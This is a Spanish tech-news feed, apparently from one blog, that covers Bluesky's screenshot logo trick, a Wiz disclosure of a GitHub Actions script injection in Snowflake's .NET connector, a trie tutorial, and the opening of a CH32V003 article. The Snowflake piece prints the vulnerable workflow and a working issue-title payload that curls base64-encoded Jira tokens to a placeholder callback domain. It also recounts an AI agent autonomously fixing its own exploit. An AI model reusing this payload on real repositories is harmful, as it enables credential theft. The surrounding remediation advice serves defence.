Tomá una captura de pantalla normal (botón lateral más subir volumen, o el gesto equivalente en tu modelo).
Compará: en la app sigue el botón Seguir, en la imagen guardada aparece el logo de Bluesky.

Si además querés reproducir el mecanismo en tu propio proyecto, expo-privacy-sensitive es instalable como cualquier paquete de npm dentro de un proyecto Expo:

# Windows (PowerShell), macOS y Linux usan el mismo comando
npx create-expo-app mi-app
cd mi-app
npm install expo-privacy-sensitive

La instalación del paquete es idéntica en Windows, macOS y Linux porque corre sobre Node.js. La diferencia aparece al compilar: generar un build de iOS requiere Xcode, que solo corre en macOS, o el servicio en la nube EAS Build de Expo si trabajás desde Windows o Linux.

⚠️ Ojo: el efecto solo se ve en un build nativo de iOS, no en Expo Go ni en la vista previa web. Necesitás compilar la app real para que isSecureTextEntry tenga efecto.

Impacto y análisis: entre lo ingenioso y el uso indebido

La reacción en el hilo interno donde el equipo de Bluesky discutió agregar este comportamiento fue mayormente negativa, según relata mt: varios desarrolladores lo señalaron como un uso cuestionable de una API pensada para proteger privacidad, no para forzar visibilidad de marca. El hilo terminó bloqueado.

El propio mt, sin embargo, lo describe como algo tierno más que como un abuso: nadie pierde datos, no hay tracking oculto, y el resultado es visualmente prolijo. La discusión de fondo es si reutilizar una protección de seguridad para un objetivo de crecimiento sienta un precedente incómodo para otras apps.

App o plataformaQué ocultaCuándo se activaMecanismo

Bluesky (iOS)Botón Seguir, revela el logo de BlueskyCaptura de pantallaUITextField seguro + layer
Telegram (chats secretos)Contenido del chatCaptura de pantallaMismo mecanismo de iOS
SignalContenido de la conversaciónCaptura de pantallaMismo mecanismo de iOS
Bluesky (Android/web)NadaNo aplicaexpo-privacy-sensitive renderiza normal

Qué sigue

mt escribe que investigó un poco más y encontró que el truco es conocido desde hace tiempo en el ecosistema de apps de mensajería, así que no espera que Apple lo bloquee pronto: bloquear isSecureTextEntry rompería la protección de contraseñas en miles de apps, incluidas las del propio sistema.

Lo más probable es que otras apps con presión de crecimiento copien la idea para colar su marca en cada captura que un usuario comparte fuera de la app. Es una forma de conseguir presencia en redes sociales y grupos de mensajería sin pedirle nada al usuario.

📖 Resumen en Telegram: Ver resumen

Probalo vos: instalá expo-privacy-sensitive en un proyecto Expo nuevo y compará cómo se ve tu componente dentro de la app y en una captura de pantalla real.

Preguntas frecuentes

¿Por qué el botón Seguir desaparece en las capturas de pantalla de Bluesky?

Porque está dibujado dentro del layer de un UITextField marcado como seguro. iOS vacía ese layer automáticamente cada vez que detecta una captura de pantalla, y detrás queda visible el logo de Bluesky.

¿Funciona este truco en Android o en la versión web de Bluesky?

No. Según describe el análisis del código, en esas plataformas expo-privacy-sensitive simplemente renderiza el contenido tal cual, sin ningún tipo de ocultamiento.

¿Es un uso indebido de una función de privacidad de Apple?

Depende de a quién le preguntes. Dentro del propio equipo de Bluesky la opinión mayoritaria fue crítica; el investigador que lo documentó lo ve como un uso ingenioso, no dañino, porque no oculta ni filtra datos del usuario.

¿Qué otras apps usan un mecanismo similar?

Telegram lo aplica en sus chats secretos y Signal protege así el contenido completo de una conversación. La diferencia con Bluesky es el objetivo: en esos casos es privacidad, en Bluesky es identidad de marca.

¿Puedo aplicar esto en mi propia app hecha con React Native o Expo?

Sí, instalando expo-privacy-sensitive y envolviendo el componente que quieras ocultar en capturas. El efecto solo se nota en un build nativo de iOS compilado con Xcode o con EAS Build.

¿Apple va a bloquear este comportamiento?

No hay señales de eso. El mecanismo de base lleva años sosteniendo la protección de contraseñas y del contenido cifrado de Telegram y Signal, así que bloquearlo tendría un costo alto para la plataforma.

Referencias

timmarinin.net: publicación original donde mt documenta y explica el mecanismo del logo de Bluesky en capturas.
github.com/bluesky-social/social-app: repositorio abierto de la app de Bluesky donde vive el archivo GrowthHack.tsx.
developer.apple.com: documentación oficial de Apple sobre UITextField y la propiedad isSecureTextEntry.
npmjs.com: página del paquete expo-privacy-sensitive usado por Bluesky para implementar el efecto.

Copilot Autofix coescribió el bug que Wiz explotó en Snowflake

lu1tr0n — Mon, 17 Aug 2026 20:23:50 +0000

El 18 de junio de 2026, un commit firmado en parte por Copilot Autofix reemplazó el parseo seguro de un workflow de Snowflake por una línea que permitía ejecutar cualquier comando con solo abrir un issue en GitHub. Cinco días después, el Red Agent de Wiz, una herramienta de investigación autónoma impulsada por IA, encontró el fallo, corrigió su propio payload tras un error de sintaxis y exfiltró un token de Jira interno en cuestión de segundos.

El caso, documentado por Wiz Research bajo el programa de HackerOne de Snowflake, es uno de los primeros ejemplos públicos donde una IA de autofix introduce la vulnerabilidad y otra IA, de forma autónoma, la descubre y explota.

TL;DR

Wiz Research halló un script injection en el workflow jira_issue.yml del repo snowflakedb/snowflake-connector-net.- La PR #1218, fusionada el 18 de junio de 2026, introdujo el bug y lista a Copilot Autofix como coautor del commit.- El workflow se disparaba con cualquier issue abierto por cualquier usuario de GitHub, sin autenticación previa.- Un gate de seguridad basado en github.event.pull_request.user.login siempre evaluaba como verdadero en eventos de tipo issues.- El Red Agent de Wiz ajustó su payload tras un error de sintaxis bash y logró ejecución remota de comandos.- El ataque exfiltró un token de Jira de la cuenta qa@snowflake.net con acceso a proyectos de ingeniería y bug bounty.- Snowflake parcheó el workflow el mismo día de la divulgación, el 23 de junio de 2026, con la PR #1402.- Wiz actualizó el post el 17 de agosto de 2026 para aclarar que Copilot revisó la PR fusionada y no detectó el fallo.

Introducción

Copilot Autofix es la función de GitHub que revisa pull requests y sugiere, o directamente aplica, parches automáticos de seguridad. En este caso participó como coautor de un cambio que, lejos de arreglar nada, abrió la puerta a la ejecución remota de comandos en un repositorio público de Snowflake. El repositorio afectado, snowflakedb/snowflake-connector-net, es el conector oficial de .NET que miles de aplicaciones usan para hablar con el data warehouse de Snowflake.

La historia importa para cualquier equipo en LATAM que use GitHub Actions con triggers automáticos (issues, pull requests, comentarios), porque expone un patrón de vulnerabilidad conocido desde hace años, la inyección de plantillas en workflows, reintroducido por una herramienta pensada justamente para prevenir ese tipo de errores. Copilot Autofix no falló por un bug exótico: falló ante el mismo patrón que audita todos los días.

Qué pasó

Wiz Research usa Red Agent para escanear organizaciones enteras en GitHub en busca de workflows inseguros. Durante el escaneo del repositorio de Snowflake, Wiz Research marcó el archivo jira_issue.yml como vulnerable a inyección de script por usar datos no confiables directamente en un bloque run:.

El workflow se disparaba con el evento issues: opened, es decir, cualquier persona con una cuenta de GitHub podía activarlo sin autenticarse contra Snowflake. El título del issue se interpolaba directamente en un script de shell:

on:
  issues:
    types: [opened]
jobs:
  notify-jira:
    runs-on: ubuntu-latest
    steps:
      - name: Build Jira payload
        run: |
          TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\\\'/g")
          echo "title=$TITLE" >> "$GITHUB_OUTPUT"

El problema está en el orden de las operaciones. GitHub expande ${{ github.event.issue.title }} como texto plano antes de que el runner ejecute una sola línea del script. El sed que intenta escapar comillas corre después, sobre un string que ya rompió la sintaxis del echo '...'. Si el título del issue contiene una comilla simple, el atacante sale del string y el resto del título se interpreta como comandos de shell.

Ese patrón reemplazó a uno más seguro que existía antes en el mismo archivo, uno que pasaba el título por una variable de entorno y construía el JSON con jq --arg. La comparación entre ambos enfoques es la siguiente:
PatrónDónde apareceRiesgoAlternativa segura${{ github.event.issue.title }} interpolado directo en run:jira_issue.yml, PR #1218Inyección de comandos shell antes de cualquier escapadoPasar el valor por env: y leerlo como variable de entornoEscapado con sed después de la expansión de plantillaCommit 4a1b8ceEl escapado corre después de que GitHub ya expandió el string, no antesjq --arg para construir JSON de forma seguraif: github.event.pull_request.user.login != botGate de seguridad del workflowpull_request es null en eventos issues: la condición siempre es verdaderaVerificar github.event.issue.user.login o requerir revisión manual

⚠️ Ojo: el workflow tenía una condición que parecía filtrar bots, pero github.event.pull_request siempre es null en eventos de tipo issues. La condición se evaluaba como verdadera para cualquier usuario, siempre.
La PR #1218 quedó marcada como revisada sin señalar el patrón inseguro.

Contexto e historia de Copilot Autofix

Copilot Autofix es la respuesta de GitHub al mismo problema que Wiz explota acá: la mayoría de las vulnerabilidades en producción no vienen de bugs exóticos, sino de patrones conocidos que nadie revisa a tiempo. La función analiza pull requests, detecta código riesgoso y sugiere, o directamente aplica, el parche. El commit 4a1b8ce, parte de la PR #1218 (SNOW-2069227: Update jira workflows), lista a Copilot Autofix powered by AI como coautor del cambio que introdujo el bug.

Wiz actualizó su publicación original el 17 de agosto de 2026 a las 19:57 UTC para precisar un matiz importante: Copilot participó como revisor que dio el visto bueno a la PR ya fusionada, sin marcar la vulnerabilidad, pero no está confirmado si el cambio de código en sí fue generado con asistencia de IA. La distinción importa porque separa dos fallas distintas: quién escribió la línea insegura y quién la revisó sin detectarla.

El hallazgo se dio dentro del programa de divulgación responsable que Snowflake mantiene en HackerOne, el mismo canal que Wiz usa habitualmente para reportar los resultados de su investigación ofensiva.

Detalles técnicos y rendimiento

Wiz construyó un título de issue diseñado para escapar del echo y ejecutar un comando de exfiltración vía callback fuera de banda (OAST). El primer intento usó un carácter # para comentar el resto de la línea, pero eso también consumió el paréntesis de cierre de TITLE=$(...) y el runner devolvió un error de sintaxis de bash.

El Red Agent no se detuvo ante el error. Analizó el mensaje de fallo, entendió que necesitaba cerrar el bloque de subshell antes de inyectar el comando, y ajustó el payload para usar ; echo ' en lugar del comentario:

' ; curl -s "https://CALLBACK_DOMAIN?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '

Ese título, una vez interpolado dentro del echo '...' original, cierra el string, ejecuta un curl que codifica en base64 las variables de entorno del token, el correo y la URL base de Jira, y las envía como query string a un dominio de callback controlado por los investigadores. El runner, con una IP de Azure (20.106.182.197), hizo la petición en segundos.

💭 Clave: el detalle más relevante no es el bug en sí, sino que el agente autónomo depuró y corrigió su propio exploit sin intervención humana entre el primer error de sintaxis y el segundo intento exitoso.

El token exfiltrado autenticaba como qa@snowflake.net contra snowflakecomputing.atlassian.net, la instancia de Jira interna de Snowflake, con acceso de lectura a proyectos de ingeniería, cumplimiento de seguridad y seguimiento de bug bounty.

El flujo completo del ataque

sequenceDiagram
participant A as Atacante
participant G as GitHub Actions
participant R as Runner
participant J as Jira
participant C as Servidor de callback
A->>G: Abre un issue con titulo malicioso
G->>R: Dispara el workflow jira_issue.yml
R->>R: Interpola el titulo sin sanitizar en run
R->>C: Exfiltra el token de Jira via curl
Note over R,C: El token da acceso de lectura a Jira interno
C-->>J: El token es reutilizable contra Jira

El runner devolvió el error de sintaxis antes de que el segundo intento tuviera éxito.

Cómo empezar a probarlo

El patrón que rompió a Snowflake es fácil de buscar en tu propio historial de workflows. Un primer paso, sin instalar nada, es grepear directamente los archivos YAML de tu repositorio:

grep -rn "github\.event\.issue\.title" .github/workflows/*.yml

Si ese comando devuelve resultados dentro de un bloque run: (y no dentro de un env:), tenés el mismo problema que Snowflake. Para un chequeo más completo, actionlint es un linter estático de workflows de GitHub Actions que detecta interpolaciones inseguras de ${{ }} dentro de scripts de shell, entre otras reglas.

# macOS (Homebrew)
brew install actionlint

# Linux / macOS (toolchain de Go)
go install github.com/rhysd/actionlint/cmd/actionlint@latest

# Windows (Scoop)
scoop install actionlint

# Verificar instalación
actionlint --version

Para confirmar que un workflow específico está limpio, corré actionlint .github/workflows/jira_issue.yml y revisá que no aparezca ningún warning de tipo shellcheck ni de expresión sin comillas dentro de un bloque run:. También conviene revisar la guía oficial de hardening de GitHub Actions para triggers como issues, issue_comment y pull_request_target, que son los más propensos a este tipo de inyección.

Impacto y análisis

El incidente conecta dos tendencias que hasta ahora se discutían por separado. Por un lado, las herramientas de autofix con IA, pensadas para reducir la carga de revisión de seguridad, pueden introducir el mismo tipo de error que intentan prevenir si nadie audita el diff final con ojo humano. Por otro, agentes autónomos como Red Agent muestran que encontrar y explotar ese tipo de fallos ya no requiere días de trabajo manual: el ciclo completo, desde el escaneo hasta la exfiltración confirmada, tomó minutos una vez identificado el archivo vulnerable.

Snowflake respondió dentro del mismo día del reporte: revirtió el patrón inseguro, rotó la credencial expuesta y confirmó, mediante logs de auditoría, que Wiz fue el único actor que accedió al token durante la ventana de exposición. Wiz, por su parte, confirmó que borró de forma segura cualquier dato al que accedió durante la prueba de concepto.

Para equipos que ya delegan revisiones de seguridad a asistentes de IA como Copilot Autofix, o herramientas equivalentes, el caso deja una lección concreta: un visto bueno automático sobre un pull request de infraestructura como código no reemplaza una revisión humana enfocada específicamente en cómo se maneja input no confiable dentro de un run:.

Qué sigue

Wiz confirmó que seguirá operando Red Agent dentro de programas de divulgación responsable como el de Snowflake en HackerOne, aplicando el mismo enfoque de escaneo continuo a otras organizaciones. Snowflake ya restauró el patrón seguro con env: y jq --arg en la PR #1402, fusionada el mismo 23 de junio de 2026.

El caso también alimenta un debate más amplio en la industria: si las herramientas de autofix con IA coautoría commits de infraestructura crítica, necesitan el mismo nivel de escrutinio, o uno mayor, que un pull request humano, especialmente en archivos que definen triggers automáticos y permisos de workflows.

📖 Resumen en Telegram: Ver resumen

Probalo vos: corré grep -rn "github.event.issue.title" .github/workflows/*.yml en tu propio repositorio para chequear si tenés el mismo patrón que abrió la puerta en Snowflake.

Preguntas frecuentes

¿Qué es el Red Agent de Wiz?

Es una herramienta de investigación de seguridad autónoma e impulsada por IA que Wiz Research usa para escanear organizaciones en busca de configuraciones y workflows vulnerables, y en este caso también para explotarlos como prueba de concepto dentro de un programa de divulgación responsable.

¿Qué es Copilot Autofix?

Es la función de GitHub que analiza pull requests, detecta patrones de código riesgosos y sugiere o aplica parches automáticos. En este caso figura como coautor del commit que introdujo el patrón vulnerable, aunque Wiz aclaró después que no está confirmado si el cambio de código fue generado con asistencia de IA.

¿Los datos de Snowflake quedaron expuestos a terceros?

Según Wiz, los logs de auditoría de Snowflake confirmaron que Wiz fue el único actor que accedió al token durante la ventana de exposición, y que todos los datos accedidos durante la prueba de concepto fueron eliminados de forma segura.

¿Cómo puedo revisar si mis propios workflows tienen el mismo problema?

Buscá interpolaciones directas de ${{ github.event.* }} dentro de bloques run: con grep, o corré un linter como actionlint sobre tu carpeta .github/workflows. La alternativa segura es pasar el valor por una variable de env: y consumirlo como variable de entorno en el script.

¿Qué es un ataque de inyección de script en GitHub Actions?

Es cuando un valor controlado por un usuario externo (el título de un issue, un comentario, el nombre de una rama) se interpola como texto en un script de shell antes de ejecutarse, permitiendo que ese usuario inyecte comandos arbitrarios que corren con los permisos del runner.

¿Snowflake ya corrigió la vulnerabilidad?

Sí. Snowflake parchó el workflow el mismo 23 de junio de 2026, restauró el patrón seguro con env: y jq --arg, y rotó la credencial de Jira expuesta.

Referencias

Wiz Research: publicación original con el walkthrough completo del hallazgo y la explotación.- GitHub Docs: guía oficial de hardening de seguridad para GitHub Actions.- snowflakedb/snowflake-connector-net: repositorio oficial del conector afectado.- rhysd/actionlint: linter estático de workflows de GitHub Actions usado para detectar interpolaciones inseguras.

Trie: el árbol de prefijos oculto tras el autocompletado

lu1tr0n — Mon, 17 Aug 2026 16:12:39 +0000

Cuando escribís prog en la paleta de comandos de VS Code y la lista se filtra al instante a program, progress y profile, no hay un hash table detrás: hay un trie, un árbol que indexa palabras letra por letra en vez de resumir la palabra completa en un número.

Un trie (del inglés retrieval, aunque casi todos lo pronuncian try) es la estructura detrás del autocompletado de tu IDE, del corrector ortográfico de tu teléfono y de las tablas de ruteo IP que deciden por dónde sale cada paquete en internet. Esta guía lo explica desde cero, con código funcional en JavaScript y Python.

TL;DR

Vas a entender cómo un trie indexa palabras letra por letra, sin usar hashing.- Vas a implementar un trie desde cero en JavaScript con insertar, buscar y prefijos.- Vas a construir un autocompletador real que devuelve sugerencias por prefijo en Python.- Vas a saber cuándo un trie gana a un hash table y cuándo pierde en memoria.- Vas a distinguir un trie de un radix tree (PATRICIA) y por qué existe la compresión de nodos.- Vas a identificar los errores más comunes al implementar un trie en producción.- Vas a poder explicar por qué el ruteo IP usa tries en vez de tablas hash.

Qué es un trie y por qué importa

Un trie es un árbol donde cada camino desde la raíz hasta un nodo representa un prefijo, y cada nodo marcado como fin de palabra representa una clave completa almacenada. La definición formal de Wikipedia lo describe como un árbol de búsqueda ordenado que usa las claves como cadenas de texto, donde la posición de un nodo en el árbol define con qué clave está asociado. A diferencia de un árbol binario de búsqueda, en un trie no se compara la clave completa contra cada nodo: se avanza un carácter a la vez.

La ventaja central es que la búsqueda no depende de cuántas palabras tenga el diccionario, depende solo de la longitud de la palabra buscada. Buscar casa en un trie con diez palabras o con diez millones de palabras toma el mismo número de pasos: cuatro, uno por cada letra. Esa propiedad, complejidad O(L) donde L es la longitud de la clave y no O(N) sobre el total de claves, es lo que hace al trie ideal para autocompletado, correctores ortográficos y sistemas donde el prefijo importa más que la igualdad exacta.

Un hash table, en cambio, resuelve bien la pregunta existe esta clave exacta, pero no responde eficientemente qué claves empiezan con este prefijo. Para eso tendrías que recorrer todas las claves del hash y filtrar una por una. Un trie responde esa segunda pregunta de forma nativa: te parás en el nodo del prefijo y recorrés todo lo que cuelga de ahí.

Cómo funciona un trie por dentro

Cada nodo de un trie tiene dos cosas: una colección de hijos, uno por cada carácter posible que puede seguir, y una marca booleana que indica si el camino hasta ese nodo forma una palabra completa. La raíz representa la cadena vacía. Insertar una palabra significa caminar carácter por carácter desde la raíz, creando nodos hijos cuando no existen, y marcar el último nodo como fin de palabra.

flowchart TD
    raiz(("raiz")) --> c["c"]
    c --> ca["a"]
    c --> cu["u"]
    ca --> car["r (car)"]
    car --> care["e (care)"]
    ca --> cat["t (cat)"]
    cu --> cup["p (cup)"]

El diagrama anterior muestra un trie con car, care y cat, más cup. Fijate que car y care comparten el mismo camino hasta la r, y ahí se separan: care sigue con una e extra, car ya termina ahí, en un nodo marcado como fin de palabra. Ese compartir-hasta-donde-se-pueda es la esencia del trie: cuantas más palabras compartan prefijo, menos memoria extra necesita el árbol por cada palabra nueva.

flowchart TD
    A["Inicio: insertar palabra"] --> B["nodo = raiz"]
    B --> C{"Quedan letras en la palabra?"}
    C -- "si" --> D["tomar siguiente letra"]
    D --> E{"El nodo tiene hijo con esa letra?"}
    E -- "no" --> F["crear nodo hijo"]
    E -- "si" --> G["avanzar al nodo hijo"]
    F --> G
    G --> C
    C -- "no" --> H["marcar nodo actual como fin de palabra"]

El algoritmo de inserción es siempre el mismo bucle: por cada carácter de la palabra, preguntar si el nodo actual ya tiene un hijo con ese carácter. Si no lo tiene, lo crea. Si lo tiene, avanza. Al llegar al final de la palabra, marca el nodo actual como fin de palabra. La búsqueda de una palabra completa hace exactamente el mismo recorrido, pero en vez de crear nodos, falla si un carácter no tiene el hijo correspondiente. La búsqueda de un prefijo es idéntica, salvo que no exige que el nodo final esté marcado como fin de palabra.

Ejemplos prácticos: código progresivo

El primer ejemplo implementa lo mínimo indispensable: insertar palabras y confirmar si una palabra existe. El segundo agrega la parte que realmente usás todos los días: sugerencias por prefijo, como el autocompletado de una barra de búsqueda.

class TrieNode {
  constructor() {
    this.children = new Map();
    this.esFinDePalabra = false;
  }
}

class Trie {
  constructor() {
    this.raiz = new TrieNode();
  }

  insertar(palabra) {
    let nodo = this.raiz;
    for (const letra of palabra) {
      if (!nodo.children.has(letra)) {
        nodo.children.set(letra, new TrieNode());
      }
      nodo = nodo.children.get(letra);
    }
    nodo.esFinDePalabra = true;
  }

  buscar(palabra) {
    let nodo = this.raiz;
    for (const letra of palabra) {
      if (!nodo.children.has(letra)) return false;
      nodo = nodo.children.get(letra);
    }
    return nodo.esFinDePalabra;
  }
}

const diccionario = new Trie();
diccionario.insertar("casa");
diccionario.insertar("caso");
console.log(diccionario.buscar("casa")); // true
console.log(diccionario.buscar("cas"));  // false

Este trie usa un Map en vez de un array fijo de 26 posiciones, para no desperdiciar memoria si trabajás con acentos, ñ o unicode. buscar(cas) devuelve false porque cas nunca se marcó como fin de palabra, aunque el camino c-a-s sí existe en el árbol: esa es la clase de error que confunde a quien recién empieza con tries.

class NodoTrie:
    def __init__(self):
        self.hijos = {}
        self.fin_palabra = False

class Autocompletador:
    def __init__(self):
        self.raiz = NodoTrie()

    def insertar(self, palabra):
        nodo = self.raiz
        for letra in palabra:
            nodo = nodo.hijos.setdefault(letra, NodoTrie())
        nodo.fin_palabra = True

    def _recolectar(self, nodo, prefijo, resultados, limite):
        if len(resultados) >= limite:
            return
        if nodo.fin_palabra:
            resultados.append(prefijo)
        for letra, hijo in nodo.hijos.items():
            self._recolectar(hijo, prefijo + letra, resultados, limite)

    def sugerir(self, prefijo, limite=5):
        nodo = self.raiz
        for letra in prefijo:
            if letra not in nodo.hijos:
                return []
            nodo = nodo.hijos[letra]
        resultados = []
        self._recolectar(nodo, prefijo, resultados, limite)
        return resultados

buscador = Autocompletador()
for palabra in ["python", "pytest", "pyplot", "java", "javascript"]:
    buscador.insertar(palabra)

print(buscador.sugerir("py"))  # ['python', 'pytest', 'pyplot']

sugerir(prefijo) primero camina hasta el nodo del prefijo, igual que buscar, y desde ahí hace una recorrida en profundidad (DFS) recolectando todas las palabras completas que cuelgan de ese punto. Este es literalmente el algoritmo que corre detrás de cualquier barra de búsqueda con sugerencias en tiempo real.
Cada bifurcación es un carácter, no una palabra completa todavía.

Cómo empezar: implementar y usar un trie paso a paso

No hace falta instalar nada para probar los ejemplos anteriores: node autocomplete.js o python autocomplete.py corren directo. Para un caso real, seguí estos pasos:

Definí el alfabeto: ¿tu clave usa solo minúsculas a-z, o necesitás soportar tildes, ñ y unicode completo? Si es lo segundo, usá un Map o dict para los hijos en vez de un array fijo de 26 posiciones.- Insertá el diccionario completo al arrancar: la inserción es O(L) por palabra, pero repetirla en cada request es trabajo desperdiciado.- Exponé dos métodos públicos: buscar(clave) para existencia exacta, y sugerir(prefijo, limite) para autocompletado. Limitá siempre el número de resultados: un prefijo de una sola letra puede colgar miles de palabras.- Usá una librería madura si existe: en Python, pygtrie (mantenida por Google) implementa tries con soporte para claves compuestas por listas, no solo strings. Se instala con pip install pygtrie.

Para confirmar que tu trie realmente evita el recorrido completo, medí cuántos nodos visita sugerir(): debería ser igual a la longitud del prefijo más el tamaño del subárbol resultante, nunca el tamaño total del diccionario. Un contador simple dentro de _recolectar alcanza para verificarlo.

Casos de uso reales

Autocompletado y corrección ortográfica: cualquier barra de búsqueda que sugiere mientras escribís, sea un IDE, un buscador de comandos o el teclado de un teléfono, recorre un trie o una variante comprimida de uno. El motor de búsqueda de Apache Lucene, base de Elasticsearch y Solr, usa autómatas de estados finitos (FST) que son, en esencia, tries comprimidos y ordenados alfabéticamente.

Ruteo IP: las tablas de ruteo de un router no buscan una IP exacta, buscan el prefijo de red más largo que coincide (longest prefix match). Cada bit de la dirección IP funciona como un carácter de un alfabeto binario, y el router camina un trie binario para decidir por qué interfaz de red sale el paquete.
Cada bit de la IP elige la rama del prefijo más largo.
Diccionarios de juegos de palabras y correctores: resolutores de Scrabble, verificadores ortográficos y los sistemas T9 de teclados antiguos usan tries para validar si una secuencia de letras puede seguir formando una palabra válida, sin recorrer el diccionario completo en cada tecla.

💡 Tip: si tu prefijo típico tiene pocos caracteres pero el diccionario es enorme, un trie gana claramente. Si tus claves son en su mayoría aleatorias y solo buscás igualdad exacta, un hash table simple suele ser más rápido y más simple de mantener.

Errores comunes y buenas prácticas

Olvidar la marca de fin de palabra: si insertás casa y buscás cas, un trie mal implementado puede devolver true solo porque el camino existe. Siempre distinguí el camino existe de esto es una palabra completa.- Usar un array fijo de 26 posiciones con texto en español: eso excluye tildes y ñ directamente, o te obliga a normalizar el texto antes de insertar, lo cual puede ser válido, pero tiene que ser una decisión explícita, no un error accidental.- No limitar los resultados de sugerir(): un prefijo corto en un diccionario grande puede colgar decenas de miles de palabras. Sin un límite, o sin ordenar por frecuencia de uso, el recorrido completo se vuelve costoso aunque el algoritmo en sí sea eficiente.- Usar un trie para claves aleatorias sin prefijos compartidos: ahí un trie desperdicia memoria, un nodo por dígito sin nada que compartir, y un hash table simple gana en todos los frentes.- No comprimir cadenas de un solo hijo: un trie ingenuo crea un nodo por cada carácter aunque no haya ninguna bifurcación. Para diccionarios grandes con poco solapamiento, eso es memoria desperdiciada; la solución es un radix tree.

Comparativa con alternativas

EstructuraCuándo usarlaVentajaLimitaciónTrieAutocompletado, prefijos, diccionariosBúsqueda por prefijo nativa en O(L)Un nodo por carácter: memoria alta con muchas palabras únicasHash tableIgualdad exacta, claves sin relación entre síBúsqueda y escritura O(1) en promedioNo resuelve búsquedas por prefijo sin recorrer todoÁrbol binario de búsqueda balanceadoRangos ordenados, iteración en ordenRecorrido ordenado nativo en O(log N)Compara la clave completa en cada nodo: más lento que un trie para prefijosRadix tree (PATRICIA trie)Tablas de ruteo IP, diccionarios muy grandesComprime cadenas sin bifurcación: menos nodos que un trie planoImplementación más compleja que un trie ingenuo

Profundizando

El problema práctico de un trie ingenuo es que, si tenés muchas palabras largas con poco solapamiento, terminás con una cadena larga de nodos de un solo hijo cada uno, gastando un nodo entero por letra sin ninguna bifurcación real. Un radix tree o PATRICIA trie resuelve esto colapsando esas cadenas en un único nodo que almacena el substring completo, no un solo carácter.

flowchart LR
    subgraph "Trie plano"
    A1["c"] --> A2["a"]
    A2 --> A3["r"]
    A3 --> A4["r"]
    A4 --> A5["o"]
    end
    subgraph "Radix tree comprimido"
    B1["carro"]
    end

Esa compresión es la razón por la que las tablas de ruteo IP reales no usan un trie binario ingenuo bit por bit: usan variantes tipo PATRICIA, donde un solo nodo puede representar un bloque completo de bits sin bifurcación, reduciendo drásticamente la cantidad de nodos a recorrer y la memoria usada.

Otra variante es el trie de sufijos, o su versión comprimida, el árbol de sufijos, que en vez de indexar palabras completas indexa todos los sufijos de un texto. Eso permite responder si una subcadena aparece en el texto en tiempo proporcional al largo de la subcadena buscada, sin importar qué tan largo sea el texto original: es la base de herramientas de búsqueda genómica y de algunos motores de búsqueda de código fuente.

📌 Nota: un trie con un Map por nodo en JavaScript tiene un costo real de memoria: cada Map vacío consume memoria propia. Para diccionarios de millones de palabras en producción, medí el uso de memoria real con tu motor de JavaScript o Python antes de asumir que un trie ahorra memoria solo por compartir prefijos; a veces un radix tree es más compacto.

📖 Resumen en Telegram: Ver resumen

Tu próximo paso: agregale a la clase Autocompletador un método que ordene sugerir(prefijo) por frecuencia de uso en vez de por orden alfabético, guardando un contador en cada nodo de fin de palabra.

Preguntas frecuentes

¿Qué significa la palabra trie?

Viene de retrieval, recuperación en inglés. Edward Fredkin propuso el término en 1960 para distinguirlo de tree, aunque en la práctica casi todo el mundo lo pronuncia igual que try.

¿Cuál es la complejidad de búsqueda en un trie?

O(L), donde L es la longitud de la clave buscada. No depende de cuántas claves totales tenga el trie, a diferencia de un árbol binario de búsqueda balanceado, que es O(log N).

¿Un trie ocupa más memoria que un hash table?

Depende de cuánto solapan las claves. Si comparten muchos prefijos, como palabras de un mismo idioma, un trie puede ser más compacto. Si las claves son mayormente aleatorias sin prefijos comunes, un trie desperdicia memoria en nodos que casi no se reutilizan.

¿Qué diferencia hay entre un trie y un árbol binario de búsqueda?

Un árbol binario de búsqueda compara la clave completa en cada nodo para decidir ir a la izquierda o a la derecha. Un trie no compara claves: usa cada carácter para decidir a qué hijo bajar, y puede tener más de dos hijos por nodo.

¿Dónde se usan los tries en el mundo real?

Autocompletado de barras de búsqueda y de comandos, correctores ortográficos, tablas de ruteo IP como radix trees, motores de búsqueda de texto que usan FSTs derivados de tries, y diccionarios de juegos de palabras.

¿Cómo optimizo la memoria de un trie muy grande?

Usá un radix tree (PATRICIA trie) para comprimir cadenas sin bifurcación en un solo nodo, o cambiá los hijos de cada nodo de un array fijo a un Map o dict si tu alfabeto es grande pero disperso.

Referencias

Wikipedia: Trie: definición formal, historia del término y propiedades de complejidad.- Wikipedia: Radix tree: la variante comprimida (PATRICIA) usada en tablas de ruteo IP.- Apache Lucene: motor de búsqueda que usa autómatas de estados finitos derivados de tries para indexar texto.- Wikipedia: Autocomplete: contexto sobre los sistemas de sugerencia que se apoyan en estructuras como el trie.

CH32V003: el microcontrolador RISC-V de 10 centavos divide a la comunidad

lu1tr0n — Mon, 17 Aug 2026 08:25:31 +0000

El CH32V003, un microcontrolador RISC-V de apenas 10 centavos de dólar, es el centro de la respuesta que un ingeniero embebido de Trinidad y Tobago publicó el 16 de agosto de 2026 contra uno de los ataques más duros que ha recibido la arquitectura en años.

El artículo original, de Dmitry Grinberg, llegó a la portada de Hacker News y encendió una discusión larga en Lobsters. La réplica, publicada en rvembedded.com, no defiende cada decisión del comité de RISC-V: ataca un punto distinto, el que casi nadie discutió en esos hilos.

TL;DR

Dmitry Grinberg publicó "RISC-V: They Should Have Known Better" y llegó a la portada de Hacker News.- Un ingeniero embebido de Trinidad y Tobago respondió el 16 de agosto de 2026 en rvembedded.com.- El CH32V003 es un microcontrolador RISC-V RV32EC de unos 10 centavos de dólar, con 2 KB de RAM y 16 KB de flash.- Grinberg dedujo desde cero los requisitos de un núcleo barato y llegó exactamente a RV32EC, el que usa el CH32V003.- El propio Grinberg escribió que está "100% seguro" de que RISC-V dominará el segmento de microcontroladores desechables.- El autor pagó entre US$60 y US$200 de envío por chips de un dólar, sin el envío gratuito habitual en EE.UU. y Europa.- Usó el CH32V003 en dos productos reales: un monitor de contenedores con sensor ToF y un controlador agrícola de puertas.- El debate sigue abierto en Lobsters sin resolución técnica posible: es una discusión sobre acceso, no solo sobre encoding.

Qué pasó

Dmitry Grinberg publicó "RISC-V: They Should Have Known Better", un ensayo extenso sobre las decisiones de codificación de instrucciones que, según él, hacen de RISC-V una arquitectura mal diseñada tanto para procesadores de alto rendimiento como para microcontroladores baratos. El texto llegó a la portada de Hacker News y generó un hilo largo en Lobsters, dos de los foros donde más se discute diseño de hardware entre ingenieros de software y firmware.

